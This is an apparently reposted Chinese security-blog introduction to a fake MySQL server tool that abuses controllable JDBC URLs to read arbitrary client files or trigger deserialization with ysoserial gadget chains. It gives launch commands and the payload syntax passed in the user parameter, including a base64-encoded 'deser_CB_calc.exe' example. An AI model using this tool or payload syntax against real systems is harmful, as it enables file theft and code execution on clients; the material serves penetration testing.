工具介绍
https://github.com/fnmsd/MySQL_Fake_Server
当JDBC URL可控时,特殊的MySQL服务端可以读取JDBC客户端任意文件或执行反序列化操作,完全使用Java实现部分MySQL协议,内置常见ysoserial链,一键启动,自动生成可用的payload用于测试。
GUI
启动:
java -jar fake-mysql-gui.jar
CLI
当你的环境不允许使用GUI版时,可以使用命令行版启动,同样可以使用GUI辅助生成payload
启动:
java -jar fake-mysql-cli.jar -p [port]
Docker
docker build -t fake-mysql-server .
docker run -p 3306:3306 -d fake-mysql-server
RPC
本项目提供了GRPC调用的方式
启动:
java -jar fake-mysql-rpc.jar(默认启动端口9999)
syntax = "proto3";
option java_package = "me.n1ar4.fake.rpc";
option java_outer_classname = "FakeServerRPC";
option java_multiple_files = true;
package me.n1ar4.fake.rpc;
service RPCStart {
rpc start (RPCNull) returns (RPCResp) {}
rpc stop (RPCPort) returns(RPCResp) {}
}
message RPCNull{}
message RPCResp {
string status = 1;
int32 port = 2;
}
message RPCPort {
int32 port = 1;
}
注意事项
参考MySQL_Fake_Server项目,payload从user参数传递。反序列化应以deser_开头,规则为deser_[gadget]_[cmd];文件读取以fileread_开头,规则为fileread_[name]
由于某些文件名或命令存在特殊字符,支持使用base64传递方式,方式为原有user基础上进行base64并以base64开头,例如user=deser_CB_calc.exe等于user=base64ZGVzZXJfQ0JfY2FsYy5leGU=
默认文件保存在当前目录的fake-server-files下的当前时间戳目录内(自动创建目录)
下载地址
https://github.com/4ra1n/mysql-fake-server
文章来源:HACK分享吧
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
多一个点在看多一条小鱼干